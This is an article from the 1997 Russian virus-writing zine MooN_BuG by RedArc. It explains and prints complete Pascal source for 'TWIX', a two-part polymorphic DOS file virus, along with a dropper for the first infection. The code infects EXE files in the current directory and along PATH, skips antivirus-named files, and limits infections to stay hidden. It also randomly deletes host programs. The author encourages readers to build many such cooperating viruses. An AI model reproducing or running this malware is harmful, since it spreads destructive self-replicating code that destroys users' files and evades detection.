[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 3, Sep 1997                                           file 003

                            Сладкая парочка "TWIX"
                      или о развитии полиморфиков на ЯВУ
                                                             by RedArc

     В прошлом выпуске MooN BuG я предложил вирус на PASCAL'е, который состоял
из  нескольких частей и перемешивал их в случайном порядке при заражении между
собой  вставляя  между  ними  код  программы-жертвы. Попробую продолжить серию
полиморфных вирусов на ЯВУ (язык высокого уровня).
     Для  рассмотрения  возьмем  такой  вариант:  вирус состоит только из двух
частей:  собственно  вируса и менаджера. Вирус работает как обычно, а менаджер
занимается  тем,  что  при  запуске  инфицированной  программы восстанавливает
файл-жертву  и  основное  тело  вируса.  Если идти по предложенному ранее пути
(размешивание  кода  вируса  и кода программы), то очевидно, что основное тело
вируса  при заражении нарезается мелкими кусочками, затем нарезается такими же
кусочками  тело жертвы, все это старательно перемешивается и заливается соусом
- телом менаджера. В итоге будем наблюдать следующую картину:

   [manager]+[PartProg1]+[PartVir1]+...[PartProgMax]

     Здесь возникает такая трабла, что кусочки тела вируса нельзя перемешивать
между собой, иначе долго и нудно придется объяснять менаджеру, как определить,
какой  по  расположению  кусочек  он нашел. Хотя при нарезании кусочков разной
длины и антивирусу придется несладко.
     Я  подумал,  а  почему  бы менаджер не выполнить также в качестве вируса?
Собственно,  нам  ничего  не  мешает.  А если менаджер будет заражать проги по
принципу, отличному от основного кода вируса, то получится очень даже весело -
полиморфность  не  только  в коде, но и в принципах работы. Вот то, что у меня
получилось, я и предлагаю вашему вниманию...
     Собственно,  отличить  основное  тело  вируса от менаджера уже становится
невозможно,  так  как  в  одном случае первая часть является вирусом, а вторая
менаджером; в другом случае первая часть - менаджер, а вторая часть - вирус.
     Первая  часть  представляет собой вирус, принцип работы которого нами уже
рассмотрен:  нарезание собственного тела на кусочки по 10 байт и перемешивание
их с телом жертвы, а в качестве менаджера записывается вторая часть.
     Вторая  часть  представляет  собой  так  же вирус, который записывает при
заражении  себя в конец тела жертвы, переносит кусок из начала жертвы размером
с  первую часть в хвост программы, уже за свое тело, а на освободившееся место
скромно записывает первую часть.
     Таким  образом вирусы обмениваются привелегиями - кому быть менаджером, а
кому вирусом.
     Ну  а дальше фантазировать было лень и вирусы получились одинаковыми: при
старте  восстанавливают  обе  части  и программу в исходное состояние (учтите,
что  заражение  в  данном  случае  было  произведено другой частью), запускают
жертву  на  исполнение,  рандомно  -  либо  прибивают жертву после возвращения
управления   (деструкция),  либо  ставят  ей  признак  инфицирования  (атрибут
ReadOnly)  и  больше ее не трогают. Производится поиск в текущем каталоге и по
переменной  окружения  PATH неинфицированных программ, проверяют их атрибуты и
имя,  чтобы  не заражать антивирусы. Для маскирования своей работы заражают не
больше,  чем  установлен счетчик. Да еще счетчик позволяет оставить жертвы для
последующей  работы  второй  части  в  качестве  вируса. Для прикола, заражаем
программы от 100 до 200 килобайт. Иногда вирусу дозволяется вывести свое имя и
мой копирайт.
     Вот  собственно  и  все.  Получилась сладкая палочка - TWIX ;) Попробуйте
теперь  подружить  не  два вируса, а пять... десять и чтобы все были с разными
принципами  размножения...  Весело должно получиться. ж-) Правда я комментарии
не  ставил,  но  думаю,  что они и ни к чему, так как алгоритм то прозрачен до
безобразия!
     Вы  скажите,  что  при  таком  количестве  вирусов  в содружестве размеры
программы  тоже  вырастут  немерянно...  Дык  посмотрите  мою статью в этом же
номере журнала MooN BuG о вирусе, использующем в качестве полиморфного энджина
возможность некоторых архиваторов создавать SFX-архивы и проблема отпадет сама
собой. Правда, тот пример показывает один из путей продвижения к фуллморфингу,
но для наших комбинированных вирусов он тоже неплох будет... Я так думаю.
     Да,  совсем  забыл сказать, что такие вири из дропперов трудно запускать,
или  придется  встраивать  дополнительный  код,  проверяющий  это,  что  будет
напрасно  увеличивать  размер  и без того здоровых вирусов на ЯВУ. Для решения
этой   проблемы   предлагается   заюзать  маленькую  приблуду,  которая  будет
производить  только  заражение указанного файла как это делает один из вирусов
вашего сообщества.
     Желаю приятно провести время за созданием 100 вирусной компании! ;)

// В данном номере журнала MooN BuG файл с этим вирусом имеет название
// HLLT_PAS.EXE

=== Cut === приблуда, которая позволяет заразить первый файл.
{
                              Вирус HLLT.MoonBug3
                           (c) 1997 by RedArc // TAVC

        Производит первое заражение файла, указанного в командной строке
}

PROGRAM BUILD;

USES DOS;

CONST
     OneSize = 5780;
     TwoSize = 5765;

VAR
   F, F1, F2   : File;
   FileOnePart : String;
   FileTwoPart : String;
   FileName    : String;

PROCEDURE InfectFile;
VAR
   P      : Pointer;
   Result : Word;
   Error  : Word;
   I      : Word;
BEGIN
     GetMem (P, 65535);
     Assign (F, FileName);
     FileMode := 2;
     ReSet (F, 1);
     Assign (F1, FileOnePart);
     ReSet (F1, 1);
     Assign (F2, FileTwoPart);
     ReSet (F2, 1);
     BlockRead (F2, P^, TwoSize, Result);
     Seek (F, FileSize (F));
     BlockWrite (F, P^, Result, Error);
     Close (F2);
     Seek (F, 0);
     BlockRead (F, P^, OneSize, Result);
     Seek (F, FileSize (F));
     BlockWrite (F, P^, Result, Error);
     Seek (F, 0);
     BlockRead (F1, P^, OneSize, Result);
     BlockWrite (F, P^, Result, Error);
     Close (F1);
     Close (F);
     FreeMem (P, 65535);
     SetFAttr (F, ReadOnly);
END;

BEGIN
     FileName := ParamStr (1);
     FileOnePart := 'ONEPART.EXE';
     FileTwoPart := 'TWOPART.EXE';
     InfectFile;
END.
=== Cut ===

=== Cut === первая часть сладкой парочки
{
                              Вирус HLLT.MoonBug3
                           (c) 1997 by RedArc // TAVC

                    Первая часть вируса "СЛАДКАЯ ПАРОЧКА TWIX"
}

{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,70000,70000}

PROGRAM OnePart;

USES DOS;

CONST
     OneSize = 5780;
     TwoSize = 5765;
     MaxLength = 100000;
     MaxInfect = 5;
     Ident = 'Virus "TWIX" (c) 1997 by RedArc // TAVC';

VAR
   F, F1, F2   : File;
   FileOnePart : String;
   FileTwoPart : String;
   FileName    : String;
   Count       : Byte;
   SR          : SearchRec;

PROCEDURE InfectFile;
VAR
   P      : Pointer;
   Result : Word;
   Error  : Word;
   I      : Word;
BEGIN
     GetMem (P, 65535);
     Assign (F, 'REDARC.$$$');
     ReWrite (F, 1);
     Assign (F1, FileOnePart);
     ReSet (F1, 1);
     Assign (F2, FileTwoPart);
     ReSet (F2, 1);
     BlockRead (F2, P^, TwoSize, Result);
     BlockWrite (F, P^, TwoSize, Result);
     Close (F2);
     Assign (F2, FileName);
     ReSet (F2, 1);
     REPEAT
         BlockRead (F2, P^, 10, Result);
         BlockWrite (F, P^, Result, Error);
         BlockRead (F1, P^, 10, Result);
         BlockWrite (F, P^, Result, Error);
     UNTIL Result <> 10;
     Close (F1);
     REPEAT
           BlockRead (F2, P^, 65535, Result);
           BlockWrite (F, P^, Result, Error);
     UNTIL Result <> 65535;
     Close (F2);
     Close (F);
     Erase (F2);
     FreeMem (P, 65535);
     Rename (F, FileName);
     SetFAttr (F, ReadOnly);
END;

FUNCTION GetParam : String;
VAR
   S : String;
   I : Byte;
BEGIN
     S := '';
     FOR I := 1 TO ParamCount DO
         S := S + ParamStr (I) + ' ';
     GetParam := S;
END;

PROCEDURE ExecuteFile (S : String);
BEGIN
     SwapVectors;
     Exec (ParamStr (0), S);
     SwapVectors;
END;

PROCEDURE CureFile;
VAR
   P : Pointer;
   Result, Error : Word;
BEGIN
     FileMode := 2;
     GetMem (P, 65535);
     Assign (F, ParamStr (0));
     SetFAttr (F, Archive);
     ReSet (F, 1);
     Assign (F1, 'OnePart.$$$');
     ReWrite (F1, 1);
     Assign (F2, 'TwoPart.$$$');
     ReWrite (F2, 1);
     BlockRead (F, P^, OneSize, Result);
     BlockWrite (F1, P^, Result, Error);
     Close (F1);
     Seek (F, FileSize (F) - OneSize);
     BlockRead (F, P^, OneSize, Result);
     Seek (F, 0);
     BlockWrite (F, P^, Result, Error);
     Seek (F, FileSize (F) - OneSize - TwoSize);
     BlockRead (F, P^, TwoSize, Result);
     BlockWrite (F2, P^, Result, Error);
     Close (F2);
     Seek (F, FileSize (F) - OneSize - TwoSize);
     Truncate (F);
     ExecuteFile (GetParam);
     IF Random (1000) = 666 THEN
        Erase (F) ELSE
        SetFAttr (F, ReadOnly);
     FileOnePart := FEXPAND ('OnePart.$$$');
     FileTwoPart := FEXPAND ('TwoPart.$$$');
     FreeMem (P, 65535);
END;

FUNCTION TestedFile (Name : String) : Boolean;
VAR
   Flag : Boolean;
BEGIN
     Flag := False;
     REPEAT
         WITH SR DO BEGIN
              IF (Attr <> Archive) AND (Attr <> 0) THEN Break;
              IF Size < MaxLength THEN Break;
              IF Pos ('AID', Name) > 0 Then Break;
              IF Pos ('WEB', Name) > 0 Then Break;
              IF Pos ('AVP', Name) > 0 Then Break;
              IF Pos ('INF', Name) > 0 Then Break;
              IF Pos ('WIN', Name) > 0 Then Break;
              IF Pos ('NC',  Name) > 0 Then Break;
              IF Pos ('VIR', Name) > 0 Then Break;
              IF Pos ('SCA', Name) > 0 Then Break;
              IF Pos ('ANT', Name) > 0 Then Break;
         END;
         Flag := True;
     UNTIL True;
     TestedFile := Flag;
END;

PROCEDURE SearchInCurrentDirectory;
BEGIN
     FindFirst ('*.EXE', Archive, SR);
     WHILE DosError = 0 DO BEGIN
           IF TestedFile (SR.Name) THEN BEGIN
              FileName := SR.Name;
              Inc (Count);
              InfectFile;
           END;
           IF Count > MaxInfect THEN Break;
           FindNext (SR);
     END;
END;

PROCEDURE Search_From_PATH;
VAR
   PS : String;
   Home : String;
   S : String;
   Ch : Char;
   I : Byte;
BEGIN
   GetDir (0, Home);
   PS := GetEnv ('PATH');
   S := '';
   I := 1;
   REPEAT
         IF I >= Length (PS)+1 THEN BEGIN
            IF S <> '' THEN BEGIN
               IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
               ChDir (S);
               IF IOResult = 0 THEN
                  SearchInCurrentDirectory;
            END;
            Break;
         END;
         Ch := PS [I];
         Inc (I);
         IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
            IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
            ChDir (S);
            IF IOResult <> 0 THEN BEGIN
               S := '';
               Continue;
            END;
            SearchInCurrentDirectory;
            S := '';
         END;
         IF Count > MaxInfect THEN Break;
   UNTIL False;
   ChDir (Home);
END;


BEGIN
     Count := 0;
     Randomize;
     CureFile;
     SearchInCurrentDirectory;
     Search_From_PATH;
     Assign (F, FileOnePart);
     Erase (F);
     Assign (F, FileTwoPart);
     Erase (F);
     IF Random (1000) = 666 THEN WriteLn (Ident);
END.
=== Cut ===

=== Cut === вторая часть сладкой парочки
{
                              Вирус HLLT.MoonBug3
                           (c) 1997 by RedArc // TAVC

                    Вторая часть вируса "СЛАДКАЯ ПАРОЧКА TWIX"
}

{$A+,B-,D-,E-,F-,G+,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X+,Y-}
{$M 10000,70000,70000}

PROGRAM TwoPart;

USES DOS;

CONST
     OneSize = 5780;
     TwoSize = 5765;
     MaxLength = 100000;
     MaxInfect = 5;
     Ident = 'You have virus "TWIX" (c) 1997 by RedArc // TAVC';

VAR
   F, F1, F2   : File;
   FileOnePart : String;
   FileTwoPart : String;
   FileName    : String;
   Count       : Byte;
   SR          : SearchRec;

PROCEDURE InfectFile;
VAR
   P      : Pointer;
   Result : Word;
   Error  : Word;
   I      : Word;
BEGIN
     GetMem (P, 65535);
     Assign (F, FileName);
     FileMode := 2;
     ReSet (F, 1);
     Assign (F1, FileOnePart);
     ReSet (F1, 1);
     Assign (F2, FileTwoPart);
     ReSet (F2, 1);
     BlockRead (F2, P^, TwoSize, Result);
     Seek (F, FileSize (F));
     BlockWrite (F, P^, Result, Error);
     Close (F2);
     Seek (F, 0);
     BlockRead (F, P^, OneSize, Result);
     Seek (F, FileSize (F));
     BlockWrite (F, P^, Result, Error);
     Seek (F, 0);
     BlockRead (F1, P^, OneSize, Result);
     BlockWrite (F, P^, Result, Error);
     Close (F1);
     Close (F);
     FreeMem (P, 65535);
     SetFAttr (F, ReadOnly);
END;

FUNCTION GetParam : String;
VAR
   S : String;
   I : Byte;
BEGIN
     S := '';
     FOR I := 1 TO ParamCount DO
         S := S + ParamStr (I) + ' ';
     GetParam := S;
END;

PROCEDURE ExecuteFile (S : String);
BEGIN
     SwapVectors;
     Exec (ParamStr (0), S);
     SwapVectors;
END;

PROCEDURE CureFile;
VAR
   P : Pointer;
   Result, Error : Word;
BEGIN
     GetMem (P, 65535);
     Assign (F, ParamStr (0));
     SetFAttr (F, Archive);
     ReSet (F, 1);
     Assign (F1, 'OnePart.$$$');
     ReWrite (F1, 1);
     Assign (F2, 'TwoPart.$$$');
     ReWrite (F2, 1);
     BlockRead (F, P^, TwoSize, Result);
     BlockWrite (F2, P^, Result, Error);
     Close (F2);
     Assign (F2, 'REDARC.$$$');
     ReWrite (F2, 1);
     REPEAT
         BlockRead (F, P^, 10, Result);
         BlockWrite (F2, P^, Result, Error);
         BlockRead (F, P^, 10, Result);
         BlockWrite (F1, P^, Result, Error);
     UNTIL FileSize (F1) = OneSize ;
     Close (F1);
     REPEAT
           BlockRead (F, P^, 65535, Result);
           BlockWrite (F2, P^, Result, Error);
     UNTIL Result <> 65535;
     Close (F2);
     Close (F);
     Erase (F);
     Rename (F2, ParamStr (0));
     ExecuteFile (GetParam);
     IF Random (1000) = 666 THEN
        Erase (F2) ELSE
        SetFAttr (F2, ReadOnly);
     FileOnePart := FEXPAND ('OnePart.$$$');
     FileTwoPart := FEXPAND ('TwoPart.$$$');
     FreeMem (P, 65535);
END;

FUNCTION TestedFile (Name : String) : Boolean;
VAR
   Flag : Boolean;
BEGIN
     Flag := False;
     REPEAT
         WITH SR DO BEGIN
              IF (Attr <> Archive) AND (Attr <> 0) THEN Break;
              IF Size < MaxLength THEN Break;
              IF Pos ('AID', Name) > 0 Then Break;
              IF Pos ('WEB', Name) > 0 Then Break;
              IF Pos ('AVP', Name) > 0 Then Break;
              IF Pos ('INF', Name) > 0 Then Break;
              IF Pos ('WIN', Name) > 0 Then Break;
              IF Pos ('NC',  Name) > 0 Then Break;
              IF Pos ('VIR', Name) > 0 Then Break;
              IF Pos ('SCA', Name) > 0 Then Break;
              IF Pos ('ANT', Name) > 0 Then Break;
         END;
         Flag := True;
     UNTIL True;
     TestedFile := Flag;
END;

PROCEDURE SearchInCurrentDirectory;
BEGIN
     FindFirst ('*.EXE', Archive, SR);
     WHILE DosError = 0 DO BEGIN
           IF TestedFile (SR.Name) THEN BEGIN
              FileName := SR.Name;
              Inc (Count);
              InfectFile;
           END;
           IF Count > MaxInfect THEN Break;
           FindNext (SR);
     END;
END;

PROCEDURE Search_From_PATH;
VAR
   PS : String;
   Home : String;
   S : String;
   Ch : Char;
   I : Byte;
BEGIN
   GetDir (0, Home);
   PS := GetEnv ('PATH');
   S := '';
   I := 1;
   REPEAT
         IF I >= Length (PS)+1 THEN BEGIN
            IF S <> '' THEN BEGIN
               IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
               ChDir (S);
               IF IOResult = 0 THEN
                  SearchInCurrentDirectory;
            END;
            Break;
         END;
         Ch := PS [I];
         Inc (I);
         IF Ch <> ';' THEN S := S + Ch ELSE BEGIN
            IF S[Length(S)] = '\' THEN Delete (S, Length (S), 1);
            ChDir (S);
            IF IOResult <> 0 THEN BEGIN
               S := '';
               Continue;
            END;
            SearchInCurrentDirectory;
            S := '';
         END;
         IF Count > MaxInfect THEN Break;
   UNTIL False;
   ChDir (Home);
END;


BEGIN
     Count := 0;
     Randomize;
     CureFile;
     SearchInCurrentDirectory;
     Search_From_PATH;
     Assign (F, FileOnePart);
     Erase (F);
     Assign (F, FileTwoPart);
     Erase (F);
     IF Random (1000) = 666 THEN WriteLn (Ident);
END.
=== Cut ===